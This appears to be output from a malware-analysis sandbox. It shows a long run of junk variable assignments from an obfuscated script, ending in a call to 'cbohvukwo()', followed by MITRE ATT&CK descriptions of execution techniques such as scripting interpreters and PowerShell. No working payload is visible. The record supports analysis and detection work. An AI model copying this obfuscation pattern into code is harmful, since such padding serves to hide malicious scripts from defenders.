273	fyeft = "g";
274	fyeft = "F";
275	jzyewptz = "Y";
276	hwcjmcm = "d";
277	hwcjmcm = "x";
278	hwcjmcm = "E";
279	hwcjmcm = "T";
280	hwcjmcm = "L";
281	hwcjmcm = "v";
282	hwcjmcm = "u";
283	hwcjmcm = "t";
284	hwcjmcm = "s";
285	hwcjmcm = "Y";
286	hwcjmcm = "s";
287	hwcjmcm = "P";
288	hwcjmcm = "t";
289	hwcjmcm = "K";
290	hwcjmcm = "H";
291	hwcjmcm = "V";
292	hwcjmcm = "f";
293	hwcjmcm = "h";
294	hwcjmcm = "t";
295	hwcjmcm = "J";
296	hwcjmcm = "a";
297	hwcjmcm = "h";
298	hwcjmcm = "d";
299	hwcjmcm = "c";
300	hwcjmcm = "D";
301	hwcjmcm = "P";
302	hwcjmcm = "t";
303	hwcjmcm = "V";
304	hwcjmcm = "G";
305	hwcjmcm = "D";
306	hwcjmcm = "n";
307	hwcjmcm = "S";
308	hwcjmcm = "G";
309	hwcjmcm = "x";
310	hwcjmcm = "p";
311	hwcjmcm = "a";
312	hwcjmcm = "R";
313	hwcjmcm = "L";
314	hwcjmcm = "O";
315	hwcjmcm = "v";
316	hwcjmcm = "I";
317	vjirkiacd = "d";
318	vjirkiacd = "D";
319	vjirkiacd = "X";
320	vjirkiacd = "I";
321	vjirkiacd = "m";
322	vjirkiacd = "X";
323	vjirkiacd = "x";
324	vjirkiacd = "U";
325	vjirkiacd = "i";
326	vjirkiacd = "v";
327	vjirkiacd = "b";
328	vjirkiacd = "Q";
329	vjirkiacd = "L";
330	vjirkiacd = "d";
331	vjirkiacd = "K";
332	vjirkiacd = "G";
333	vjirkiacd = "P";
334	vjirkiacd = "i";
335	vjirkiacd = "v";
336	npjhyxuhq = "f";
337	npjhyxuhq = "T";
338	npjhyxuhq = "o";
339	npjhyxuhq = "F";
340	npjhyxuhq = "X";
341	npjhyxuhq = "p";
342	npjhyxuhq = "A";
343	npjhyxuhq = "t";
344	npjhyxuhq = "j";
345	npjhyxuhq = "O";
346	npjhyxuhq = "V";
347	npjhyxuhq = "g";
348	npjhyxuhq = "Y";
349	npjhyxuhq = "b";
350	npjhyxuhq = "U";
351	npjhyxuhq = "Y";
352	npjhyxuhq = "o";
353	npjhyxuhq = "D";
354	npjhyxuhq = "N";
355	npjhyxuhq = "m";
356	npjhyxuhq = "M";
357	npjhyxuhq = "T";
358	npjhyxuhq = "i";
359	npjhyxuhq = "r";
360	npjhyxuhq = "K";
361	npjhyxuhq = "Q";
362	npjhyxuhq = "q";
363	npjhyxuhq = "u";
364	npjhyxuhq = "r";
365	npjhyxuhq = "v";
366	npjhyxuhq = "M";
367	npjhyxuhq = "F";
368	npjhyxuhq = "E";
369	npjhyxuhq = "d";
370	npjhyxuhq = "u";
371	npjhyxuhq = "E";
372	npjhyxuhq = "Z";
373	npjhyxuhq = "r";
374	npjhyxuhq = "R";
375	npjhyxuhq = "B";
376	npjhyxuhq = " ";
377	flthjdcbq = "g";
378	flthjdcbq = "e";
379	flthjdcbq = "w";
380	flthjdcbq = "C";
381	flthjdcbq = "e";
382	flthjdcbq = "z";
383	flthjdcbq = "t";
384	flthjdcbq = "Q";
385	flthjdcbq = "J";
386	flthjdcbq = "K";
387	flthjdcbq = "K";
388	flthjdcbq = "P";
389	flthjdcbq = "g";
390	flthjdcbq = "U";
391	flthjdcbq = "O";
392	flthjdcbq = "U";
393	flthjdcbq = "h";
394	flthjdcbq = "C";
395	flthjdcbq = "4";
396	zzlkbb = "H";
397	zzlkbb = "q";
398	zzlkbb = "b";
399	zzlkbb = "V";
400	zzlkbb = "a";
401	zzlkbb = "L";
402	zzlkbb = "m";
403	zzlkbb = "i";
404	zzlkbb = "d";
405	zzlkbb = "l";
406	zzlkbb = "t";
407	zzlkbb = "B";
408	zzlkbb = "Y";
409	zzlkbb = "G";
410	zzlkbb = "F";
411	zzlkbb = "s";
412	zzlkbb = "T";
413	zzlkbb = "c";
414	zzlkbb = "Y";
415	zzlkbb = "z";
416	zzlkbb = "N";
417	zzlkbb = "S";
418	zzlkbb = "z";
419	zzlkbb = "x";
420	zzlkbb = "h";
421	zzlkbb = "v";
422	zzlkbb = "z";
423	zzlkbb = "1";
424	karzu = "X";
425	karzu = "i";
426	karzu = "m";
427	karzu = "w";
428	karzu = "k";
429	karzu = "n";
430	karzu = "U";
431	karzu = "L";
432	karzu = "p";
433	karzu = "E";
434	karzu = "w";
435	karzu = "Z";
436	karzu = "K";
437	karzu = "X";
438	karzu = "T";
439	karzu = "J";
440	karzu = "t";
441	karzu = "t";
442	karzu = "a";
443	karzu = "e";
444	karzu = "V";
445	karzu = "E";
446	karzu = "t";
447	karzu = "j";
448	karzu = "e";
449	karzu = "N";
450	karzu = "-";
451	qhqaxast = "V";
452	qhqaxast = "H";
453	qhqaxast = "H";
454	qhqaxast = "J";
455	qhqaxast = "S";
456	qadrhez = "f";
457	qadrhez = "q";
458	qadrhez = "s";
459	cbqgyx = "e";
460	cbqgyx = "S";
461	cbqgyx = "m";
462	cbqgyx = "n";
463	cbqgyx = "Q";
464	cbqgyx = "m";
465	cbqgyx = "Q";
466	cbqgyx = "x";
467	cbqgyx = "J";
468	cbqgyx = "i";
469	cbqgyx = "X";
470	cbqgyx = "P";
471	cbqgyx = "T";
472	cbqgyx = "b";
473	cbqgyx = "h";
474	cbqgyx = "g";
475	cbqgyx = "I";
476	cbqgyx = "X";
477	cbqgyx = "b";
478	cbqgyx = "W";
479	cbqgyx = "f";
480	cbqgyx = "W";
481	cbqgyx = "a";
482	cbqgyx = "n";
483	cbqgyx = "S";
484	cbqgyx = "r";
485	cbqgyx = "t";
486	cbqgyx = "d";
487	cbqgyx = "h";
488	cbqgyx = "P";
489	cbqgyx = "L";
490	cbqgyx = "O";
491	cbqgyx = "w";
492	mcztbsmw = "i";
493	mcztbsmw = "u";
494	mcztbsmw = "z";
495	mcztbsmw = "k";
496	mcztbsmw = "h";
497	mcztbsmw = "V";
498	mcztbsmw = "6";
499	xagancj = "u";
500	xagancj = "v";
501	xagancj = "l";
502	xagancj = "U";
503	xagancj = "m";
504	xagancj = "B";
505	xagancj = "y";
506	xagancj = "O";
507	xagancj = "B";
508	xagancj = "f";
509	xagancj = "S";
510	xagancj = "D";
511	xagancj = "E";
512	xagancj = "O";
513	xagancj = "R";
514	xagancj = "d";
515	xagancj = "F";
516	xagancj = "j";
517	xagancj = "U";
518	xagancj = "a";
519	xagancj = "d";
520	xagancj = "Q";
521	xagancj = "F";
522	xagancj = "u";
523	xagancj = "M";
524	xagancj = "n";
525	xagancj = "P";
526	xagancj = "b";
527	xagancj = "n";
528	xagancj = "F";
529	xagancj = "j";
530	pbyjindak = "o";
531	pbyjindak = "z";
532	pbyjindak = "a";
533	pbyjindak = "J";
534	pbyjindak = "u";
535	pbyjindak = "Z";
536	pbyjindak = "b";
537	pbyjindak = "u";
538	pbyjindak = "m";
539	pbyjindak = "s";
540	pbyjindak = "u";
541	pbyjindak = "Y";
542	pbyjindak = "8";
543	rgcrp = "b";
544	rgcrp = "N";
545	rgcrp = "F";
546	rgcrp = "v";
547	rgcrp = "g";
548	rgcrp = "L";
549	rgcrp = "d";
550	rgcrp = "y";
551	rgcrp = "V";
552	rgcrp = "T";
553	zvcsqo = "B";
554	zvcsqo = "Z";
555	zvcsqo = "i";
556	zvcsqo = "o";
557	zvcsqo = "f";
558	zvcsqo = "u";
559	zvcsqo = "m";
560	zvcsqo = "f";
561	zvcsqo = "W";
562	zvcsqo = "N";
563	zvcsqo = "Z";
564	zvcsqo = "Y";
565	zvcsqo = "x";
566	zvcsqo = "p";
567	zvcsqo = "E";
568	zvcsqo = "z";
569	zvcsqo = "Q";
570	zvcsqo = "K";
571	zvcsqo = "T";
572	zvcsqo = "j";
573	zvcsqo = "t";
574	zvcsqo = "J";
575	zvcsqo = "k";
576	zvcsqo = "V";
577	zvcsqo = "q";
578	zvcsqo = "A";
579	zvcsqo = "O";
580	zvcsqo = "F";
581	zvcsqo = "k";
582	zvcsqo = "U";
583	zvcsqo = "g";
584	zvcsqo = "N";
585	zvcsqo = "A";
586	zvcsqo = "X";
587	zvcsqo = "i";
588	zvcsqo = "i";
589	zvcsqo = "b";
590	zvcsqo = "V";
591	zvcsqo = "D";
592	zvcsqo = "i";
593	zvcsqo = "H";
594	oyjegmd = "K";
595	oyjegmd = "D";
596	oyjegmd = "2";
597	qkaaxgw = "L";
598	qkaaxgw = "X";
599	qkaaxgw = "S";
600	qkaaxgw = "F";
601	qkaaxgw = "G";
602	qkaaxgw = "j";
603	qkaaxgw = "q";
604	qkaaxgw = "h";
605	qkaaxgw = "b";
606	qkaaxgw = "t";
607	qkaaxgw = "g";
608	qkaaxgw = "j";
609	qkaaxgw = "H";
610	qkaaxgw = "R";
611	qkaaxgw = "z";
612	qkaaxgw = "P";
613	qkaaxgw = "S";
614	qkaaxgw = "c";
615	qkaaxgw = "w";
616	qkaaxgw = "y";
617	qkaaxgw = "H";
618	qkaaxgw = "T";
619	qkaaxgw = "o";
620	qkaaxgw = "P";
621	qkaaxgw = "e";
622	qkaaxgw = "t";
623	qkaaxgw = "O";
624	qkaaxgw = "X";
625	qkaaxgw = "t";
626	qkaaxgw = "u";
627	qkaaxgw = "n";
628	qkaaxgw = "F";
629	qkaaxgw = "Q";
630	qkaaxgw = "d";
631	qkaaxgw = "u";
632	qkaaxgw = "N";
633	qkaaxgw = "a";
634	qkaaxgw = "B";
635	qkaaxgw = "R";
636	qkaaxgw = "m";
637	qkaaxgw = "j";
638	qkaaxgw = "l";
639	qkaaxgw = "M";
640	qkaaxgw = "W";
641	klotn = "Y";
642	klotn = "J";
643	klotn = "E";
644	bdwcr = "h";
645	bdwcr = "i";
646	bdwcr = "E";
647	bdwcr = "b";
648	bdwcr = "g";
649	bdwcr = "R";
650	bdwcr = "T";
651	bdwcr = "b";
652	bdwcr = "w";
653	bdwcr = "v";
654	bdwcr = "w";
655	bdwcr = "y";
656	bdwcr = "w";
657	bdwcr = "D";
658	bdwcr = "A";
659	bdwcr = "H";
660	bdwcr = "e";
661	bdwcr = "w";
662	bdwcr = "Z";
663	bdwcr = "d";
664	bdwcr = "X";
665	bdwcr = "s";
666	bdwcr = "A";
667	bdwcr = "J";
668	bdwcr = "r";
669	bdwcr = "T";
670	bdwcr = "h";
671	bdwcr = "e";
672	bdwcr = "g";
673	bdwcr = "Z";
674	bdwcr = "N";
675	bdwcr = "a";
676	bdwcr = "p";
677	bdwcr = "Q";
678	bdwcr = "N";
679	cewigdwzv = "i";
680	cewigdwzv = "d";
681	cewigdwzv = "I";
682	cewigdwzv = "&";
683	azhum = "R";
684	azhum = "F";
685	azhum = "K";
686	azhum = "M";
687	azhum = "c";
688	azhum = "f";
689	azhum = "S";
690	azhum = "G";
691	azhum = "5";
692	npezhv = "H";
693	npezhv = "h";
694	npezhv = "M";
695	npezhv = "d";
696	npezhv = "O";
697	npezhv = "c";
698	npezhv = "K";
699	npezhv = "z";
700	npezhv = "U";
701	npezhv = "v";
702	npezhv = "O";
703	npezhv = "s";
704	npezhv = "F";
705	npezhv = "i";
706	npezhv = "Z";
707	npezhv = "D";
708	npezhv = "a";
709	npezhv = "y";
710	npezhv = "P";
711	vvflx = "T";
712	vvflx = "E";
713	vvflx = "s";
714	vvflx = "F";
715	vvflx = "m";
716	vvflx = "B";
717	vvflx = "S";
718	vvflx = "R";
719	vvflx = "Q";
720	bnvdqjao = "y";
721	bnvdqjao = "H";
722	bnvdqjao = "V";
723	bnvdqjao = "t";
724	bnvdqjao = "r";
725	bnvdqjao = "x";
726	bnvdqjao = "j";
727	bnvdqjao = "J";
728	bnvdqjao = "Z";
729	bnvdqjao = "X";
730	bnvdqjao = "v";
731	bnvdqjao = "x";
732	bnvdqjao = "T";
733	bnvdqjao = "r";
734	bnvdqjao = "K";
735	bnvdqjao = "G";
736	bnvdqjao = "s";
737	bnvdqjao = "Z";
738	bnvdqjao = "w";
739	bnvdqjao = "w";
740	bnvdqjao = "P";
741	bnvdqjao = "u";
742	bnvdqjao = "K";
743	bnvdqjao = "J";
744	bnvdqjao = "A";
745	bnvdqjao = "n";
746	bnvdqjao = "S";
747	bnvdqjao = "a";
748	bnvdqjao = "c";
749	bnvdqjao = "d";
750	bnvdqjao = "h";
751	bnvdqjao = "X";
752	bnvdqjao = "o";
753	bnvdqjao = "T";
754	bnvdqjao = "T";
755	bnvdqjao = "f";
756	aupis = "z";
757	aupis = "K";
758	aupis = "l";
759	aupis = "c";
760	aupis = "n";
761	aupis = "U";
762	aupis = "F";
763	aupis = "r";
764	aupis = "z";
765	aupis = "N";
766	aupis = "x";
767	aupis = "K";
768	aupis = "M";
769	aupis = "Z";
770	aupis = "S";
771	aupis = "C";
772	aupis = "h";
773	aupis = "b";
774	aupis = "p";
775	aupis = "e";
776	aupis = "O";
777	aupis = "H";
778	aupis = "S";
779	aupis = "B";
780	aupis = "P";
781	aupis = "C";
782	aupis = "x";
783	aupis = "H";
784	aupis = "h";
785	aupis = "S";
786	aupis = "Q";
787	aupis = "u";
788	aupis = "P";
789	aupis = "f";
790	aupis = "m";
791	aupis = "Q";
792	aupis = "f";
793	aupis = "Y";
794	aupis = "o";
795	aupis = "a";
796	aupis = "O";
797	ybayswh = "Q";
798	ybayswh = "F";
799	ybayswh = "u";
800	ybayswh = "Q";
801	ybayswh = "m";
802	ybayswh = "N";
803	ybayswh = "Y";
804	ybayswh = "u";
805	ybayswh = "P";
806	ybayswh = "Z";
807	ybayswh = "O";
808	ybayswh = "C";
809	ybayswh = "G";
810	ybayswh = "F";
811	ybayswh = "Z";
812	ybayswh = "r";
813	ybayswh = "O";
814	ybayswh = "h";
815	ybayswh = "L";
816	ybayswh = "n";
817	ybayswh = "d";
818	ybayswh = "w";
819	ybayswh = "O";
820	ybayswh = "f";
821	ybayswh = "U";
822	ybayswh = "%";
823	yotcpqerc = "N";
824	yotcpqerc = "m";
825	yotcpqerc = "w";
826	yotcpqerc = "Z";
827	yotcpqerc = "Y";
828	yotcpqerc = "G";
829	yotcpqerc = "m";
830	yotcpqerc = "I";
831	yotcpqerc = "i";
832	yotcpqerc = "V";
833	yotcpqerc = "f";
834	yotcpqerc = "j";
835	yotcpqerc = "Q";
836	yotcpqerc = "S";
837	yotcpqerc = "I";
838	yotcpqerc = "O";
839	yotcpqerc = "f";
840	yotcpqerc = "s";
841	yotcpqerc = "U";
842	yotcpqerc = "T";
843	yotcpqerc = "Q";
844	yotcpqerc = "h";
845	yotcpqerc = "P";
846	yotcpqerc = "t";
847	yotcpqerc = "h";
848	yotcpqerc = "A";
849	yotcpqerc = "G";
850	yotcpqerc = "B";
851	yotcpqerc = "o";
852	yotcpqerc = "F";
853	yotcpqerc = "P";
854	yotcpqerc = "G";
855	yotcpqerc = "b";
856	yotcpqerc = "d";
857	yotcpqerc = "K";
858	yotcpqerc = "c";
859	yotcpqerc = "L";
860	yotcpqerc = "N";
861	yotcpqerc = "c";
862	prhrsu = "Z";
863	prhrsu = "9";
864	bkjsnmuv = "Y";
865	bkjsnmuv = "F";
866	bkjsnmuv = "W";
867	bkjsnmuv = "r";
868	bkjsnmuv = "T";
869	bkjsnmuv = "Z";
870	bkjsnmuv = "N";
871	bkjsnmuv = "z";
872	bkjsnmuv = "R";
873	bkjsnmuv = "E";
874	bkjsnmuv = "M";
875	bkjsnmuv = "N";
876	bkjsnmuv = "J";
877	bkjsnmuv = "f";
878	bkjsnmuv = "k";
879	bkjsnmuv = "c";
880	bkjsnmuv = "G";
881	bkjsnmuv = "k";
882	bkjsnmuv = "B";
883	bkjsnmuv = "a";
884	bkjsnmuv = "A";
885	bkjsnmuv = "Y";
886	bkjsnmuv = "N";
887	bkjsnmuv = "F";
888	bkjsnmuv = "F";
889	bkjsnmuv = "C";
890	bkjsnmuv = "k";
891	bkjsnmuv = "W";
892	bkjsnmuv = "N";
893	bkjsnmuv = "w";
894	bkjsnmuv = "l";
895	zvcnaxn = "g";
896	zvcnaxn = "a";
897	zvcnaxn = "v";
898	zvcnaxn = "q";
899	zvcnaxn = "a";
900	zvcnaxn = "w";
901	zvcnaxn = "Y";
902	zvcnaxn = "r";
903	zvcnaxn = "h";
904	zvcnaxn = "K";
905	zvcnaxn = "/";
906	hnhvwflxz = "F";
907	hnhvwflxz = "t";
908	hnhvwflxz = "x";
909	hnhvwflxz = "f";
910	hnhvwflxz = "B";
911	hnhvwflxz = "h";
912	hnhvwflxz = "m";
913	hnhvwflxz = "Q";
914	hnhvwflxz = "x";
915	hnhvwflxz = "i";
916	hnhvwflxz = "D";
917	hnhvwflxz = "Q";
918	hnhvwflxz = "i";
919	schan = "t";
920	schan = "K";
921	schan = "R";
922	schan = "E";
923	schan = "f";
924	schan = "D";
925	schan = "L";
926	schan = "s";
927	schan = "R";
928	schan = "W";
929	schan = "s";
930	schan = "I";
931	schan = "T";
932	schan = "d";
933	ptbpnpuww = "y";
934	ptbpnpuww = "r";
935	ptbpnpuww = "V";
936	ptbpnpuww = "R";
937	ptbpnpuww = "A";
938	ptbpnpuww = "x";
939	ptbpnpuww = "c";
940	ptbpnpuww = "l";
941	ptbpnpuww = "i";
942	ptbpnpuww = "S";
943	ptbpnpuww = "t";
944	ptbpnpuww = "J";
945	ptbpnpuww = "k";
946	ptbpnpuww = "a";
947	ptbpnpuww = "H";
948	ptbpnpuww = "L";
949	ptbpnpuww = "y";
950	ptbpnpuww = "t";
951	ptbpnpuww = "R";
952	ptbpnpuww = "m";
953	ptbpnpuww = "a";
954	ptbpnpuww = "u";
955	ptbpnpuww = "m";
956	ptbpnpuww = "P";
957	ptbpnpuww = "r";
958	ptbpnpuww = "P";
959	ptbpnpuww = "D";
960	ptbpnpuww = "h";
961	ptbpnpuww = "Z";
962	ptbpnpuww = "w";
963	ptbpnpuww = "F";
964	ptbpnpuww = "j";
965	ptbpnpuww = "I";
966	ptbpnpuww = "f";
967	ptbpnpuww = "F";
968	ptbpnpuww = "S";
969	ptbpnpuww = "d";
970	ptbpnpuww = "e";
971	ptbpnpuww = "K";
972	ptbpnpuww = "t";
973	ptbpnpuww = "z";
974	ptbpnpuww = "J";
975	ptbpnpuww = "b";
976	iphkvxv = "g";
977	iphkvxv = "E";
978	iphkvxv = "g";
979	iphkvxv = "f";
980	iphkvxv = "a";
981	iphkvxv = "a";
982	iphkvxv = "3";
983	xjfsqg = "b";
984	xjfsqg = "G";
985	xjfsqg = "l";
986	xjfsqg = "p";
987	xjfsqg = "y";
988	xjfsqg = "z";
989	xjfsqg = "V";
990	xjfsqg = "z";
991	xjfsqg = "A";
992	xjfsqg = "P";
993	xjfsqg = "C";
994	xjfsqg = "a";
995	xjfsqg = "P";
996	xjfsqg = "j";
997	xjfsqg = "i";
998	xjfsqg = "k";
999	xjfsqg = "S";
1000	xjfsqg = "m";
1001	pfgvdw = "f";
1002	pfgvdw = "y";
1003	pfgvdw = "C";
1004	xcutoqo = "z";
1005	xcutoqo = ":";
1006	nuoqxzaln = "D";
1007	nuoqxzaln = "W";
1008	nuoqxzaln = "P";
1009	nuoqxzaln = "k";
1010	nuoqxzaln = "w";
1011	nuoqxzaln = "E";
1012	nuoqxzaln = "j";
1013	nuoqxzaln = "h";
1014	nuoqxzaln = "a";
1015	nuoqxzaln = "B";
1016	nuoqxzaln = "N";
1017	nuoqxzaln = "n";
1018	nuoqxzaln = "r";
1019	ragrkouh = "n";
1020	ragrkouh = "L";
1021	ragrkouh = "L";
1022	ragrkouh = "D";
1023	ragrkouh = "B";
1024	ragrkouh = "V";
1025	ragrkouh = "J";
1026	ragrkouh = "Z";
1027	ragrkouh = "V";
1028	ragrkouh = "K";
1029	ragrkouh = "F";
1030	ragrkouh = "u";
1031	ragrkouh = "p";
1032	ragrkouh = "e";
1033	ragrkouh = "D";
1034	ragrkouh = "t";
1035	rrxwycpwg = "w";
1036	rrxwycpwg = "Y";
1037	rrxwycpwg = "D";
1038	rrxwycpwg = "s";
1039	rrxwycpwg = "u";
1040	rrxwycpwg = "k";
1041	rrxwycpwg = "q";
1042	rrxwycpwg = "y";
1043	rrxwycpwg = "S";
1044	rrxwycpwg = "v";
1045	rrxwycpwg = "O";
1046	rrxwycpwg = "k";
1047	rrxwycpwg = "D";
1048	rrxwycpwg = "j";
1049	rrxwycpwg = "G";
1050	rrxwycpwg = "p";
1051	rrxwycpwg = "a";
1052	rrxwycpwg = "r";
1053	rrxwycpwg = "L";
1054	rrxwycpwg = "O";
1055	rrxwycpwg = "b";
1056	rrxwycpwg = "n";
1057	rrxwycpwg = "R";
1058	rrxwycpwg = "C";
1059	rrxwycpwg = "b";
1060	rrxwycpwg = "p";
1061	rrxwycpwg = "X";
1062	rrxwycpwg = "d";
1063	rrxwycpwg = "A";
1064	rrxwycpwg = "w";
1065	rrxwycpwg = "p";
1066	rrxwycpwg = "T";
1067	rrxwycpwg = "S";
1068	rrxwycpwg = "\\";
1069	luwcd = "y";
1070	luwcd = "m";
1071	luwcd = "G";
1072	luwcd = "d";
1073	luwcd = "T";
1074	luwcd = "d";
1075	luwcd = "B";
1076	luwcd = "b";
1077	luwcd = "J";
1078	luwcd = "l";
1079	luwcd = "n";
1080	luwcd = "R";
1081	luwcd = "b";
1082	luwcd = "w";
1083	luwcd = "T";
1084	luwcd = "y";
1085	luwcd = "r";
1086	luwcd = "z";
1087	luwcd = "N";
1088	luwcd = "E";
1089	luwcd = "f";
1090	luwcd = "p";
1091	rzbjdiau = "H";
1092	rzbjdiau = "q";
1093	rzbjdiau = "S";
1094	rzbjdiau = "A";
1095	rzbjdiau = "m";
1096	rzbjdiau = ".";
1097	xfrvlo = "m";
1098	xfrvlo = "Y";
1099	xfrvlo = "w";
1100	xfrvlo = "Y";
1101	xfrvlo = "F";
1102	xfrvlo = "J";
1103	xfrvlo = "P";
1104	xfrvlo = "n";
1105	xfrvlo = "y";
1106	xfrvlo = "y";
1107	xfrvlo = "H";
1108	xfrvlo = "g";
1109	xfrvlo = "x";
1110	xfrvlo = "I";
1111	xfrvlo = "m";
1112	xfrvlo = "U";
1113	xfrvlo = "w";
1114	xfrvlo = "m";
1115	xfrvlo = "L";
1116	xfrvlo = "z";
1117	xfrvlo = "P";
1118	xfrvlo = "V";
1119	xfrvlo = "w";
1120	xfrvlo = "V";
1121	xfrvlo = "j";
1122	xfrvlo = "x";
1123	xfrvlo = "A";
1124	xfrvlo = "S";
1125	xfrvlo = "f";
1126	xfrvlo = "O";
1127	xfrvlo = "C";
1128	xfrvlo = "o";
1129	xfrvlo = "V";
1130	xfrvlo = "Q";
1131	xfrvlo = "R";
1132	xfrvlo = "g";
1133	uhtkbepw = "D";
1134	uhtkbepw = "l";
1135	uhtkbepw = "N";
1136	uhtkbepw = "u";
1137	uhtkbepw = "y";
1138	uhtkbepw = "H";
1139	uhtkbepw = "m";
1140	uhtkbepw = "r";
1141	uhtkbepw = "e";
1142	uhtkbepw = "V";
1143	uhtkbepw = "F";
1144	uhtkbepw = "W";
1145	uhtkbepw = "V";
1146	uhtkbepw = "Y";
1147	uhtkbepw = "Q";
1148	uhtkbepw = "B";
1149	uhtkbepw = "L";
1150	uhtkbepw = "w";
1151	uhtkbepw = "v";
1152	uhtkbepw = "H";
1153	uhtkbepw = "E";
1154	uhtkbepw = "L";
1155	uhtkbepw = "H";
1156	uhtkbepw = "R";
1157	lbmskq = "U";
1158	lbmskq = "Y";
1159	lbmskq = "M";
1160	lbmskq = "b";
1161	lbmskq = "t";
1162	lbmskq = "V";
1163	lbmskq = "N";
1164	lbmskq = "w";
1165	lbmskq = "X";
1166	lbmskq = "P";
1167	lbmskq = "K";
1168	lbmskq = "J";
1169	lbmskq = "d";
1170	lbmskq = "A";
1171	lbmskq = "G";
1172	lbmskq = "a";
1173	rijpeel = "z";
1174	rijpeel = "v";
1175	rijpeel = "q";
1176	rijpeel = "y";
1177	rijpeel = "R";
1178	rijpeel = "T";
1179	rijpeel = "U";
1180	rijpeel = "G";
1181	rijpeel = "z";
1182	rijpeel = "H";
1183	rijpeel = "W";
1184	rijpeel = "d";
1185	rijpeel = "e";
1186	dpyny = "n";
1187	dpyny = "b";
1188	dpyny = "c";
1189	dpyny = "D";
1190	dpyny = "j";
1191	dpyny = "H";
1192	dpyny = "l";
1193	dpyny = "I";
1194	dpyny = "D";
1195	dpyny = "H";
1196	dpyny = "v";
1197	dpyny = "T";
1198	dpyny = "n";
1199	dpyny = "s";
1200	dpyny = "J";
1201	dpyny = "V";
1202	dpyny = "l";
1203	dpyny = "Y";
1204	dpyny = "e";
1205	dpyny = "X";
1206	dpyny = "w";
1207	dpyny = "T";
1208	dpyny = "b";
1209	dpyny = "E";
1210	dpyny = "v";
1211	dpyny = "b";
1212	dpyny = "g";
1213	dpyny = "r";
1214	dpyny = "V";
1215	dpyny = "w";
1216	dpyny = "m";
1217	dpyny = "0";
1218	iajvh = "u";
1219	iajvh = "F";
1220	iajvh = "i";
1221	iajvh = "i";
1222	iajvh = "Q";
1223	iajvh = "a";
1224	iajvh = "J";
1225	iajvh = "b";
1226	iajvh = "S";
1227	iajvh = "Y";
1228	iajvh = "v";
1229	iajvh = "F";
1230	iajvh = "l";
1231	iajvh = "A";
1232	iajvh = "T";
1233	iajvh = "U";
1234	iajvh = "C";
1235	iajvh = "J";
1236	iajvh = "x";
1237	thztd = "o";
1238	thztd = "c";
1239	thztd = "e";
1240	thztd = "C";
1241	thztd = "Z";
1242	thztd = "d";
1243	thztd = "O";
1244	thztd = "K";
1245	thztd = "N";
1246	thztd = "y";
1247	thztd = "b";
1248	thztd = "d";
1249	thztd = "b";
1250	thztd = "Y";
1251	thztd = "i";
1252	thztd = "P";
1253	thztd = "a";
1254	thztd = "o";
1255	thztd = "R";
1256	thztd = "l";
1257	thztd = "H";
1258	thztd = "d";
1259	thztd = "t";
1260	thztd = "U";
1261	thztd = "q";
1262	thztd = "d";
1263	thztd = "u";
1264	thztd = "j";
1265	thztd = "I";
1266	thztd = "J";
1267	thztd = "K";
1268	thztd = "P";
1269	thztd = "S";
1270	thztd = "X";
1271	thztd = "@";
1272	dyaae = "v";
1273	dyaae = "m";
1274	dyaae = "K";
1275	dyaae = "j";
1276	dyaae = "R";
1277	dyaae = "D";
1278	dyaae = "h";
1279	dyaae = "g";
1280	dyaae = "M";
1281	dyaae = "V";
1282	dyaae = "i";
1283	dyaae = "T";
1284	dyaae = "g";
1285	dyaae = "u";
1286	dyaae = "n";
1287	dyaae = "h";
1288	dyaae = "y";
1289	dyaae = "l";
1290	dyaae = "u";
1291	dyaae = "r";
1292	dyaae = "w";
1293	dyaae = "J";
1294	dyaae = "h";
1295	dyaae = "x";
1296	dyaae = "R";
1297	dyaae = "I";
1298	dyaae = "U";
1299	dyaae = "Q";
1300	dyaae = "e";
1301	dyaae = "c";
1302	dyaae = "F";
1303	dyaae = "t";
1304	dyaae = "E";
1305	dyaae = "K";
1306	acxlph = "X";
1307	acxlph = "s";
1308	acxlph = "P";
1309	acxlph = "M";
1310	acxlph = "J";
1311	acxlph = "D";
1312	acxlph = "d";
1313	acxlph = "J";
1314	acxlph = "C";
1315	acxlph = "x";
1316	acxlph = "S";
1317	acxlph = "x";
1318	acxlph = "Q";
1319	acxlph = "d";
1320	acxlph = "j";
1321	acxlph = "t";
1322	acxlph = "A";
1323	acxlph = "m";
1324	acxlph = "p";
1325	acxlph = "g";
1326	acxlph = "C";
1327	acxlph = "l";
1328	acxlph = "Z";
1329	acxlph = "y";
1330	acxlph = "c";
1331	acxlph = "J";
1332	acxlph = "Q";
1333	acxlph = "g";
1334	acxlph = "h";
1335	acxlph = "s";
1336	acxlph = "\"";
1337	cbohvukwo ( );	cbohvukwo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
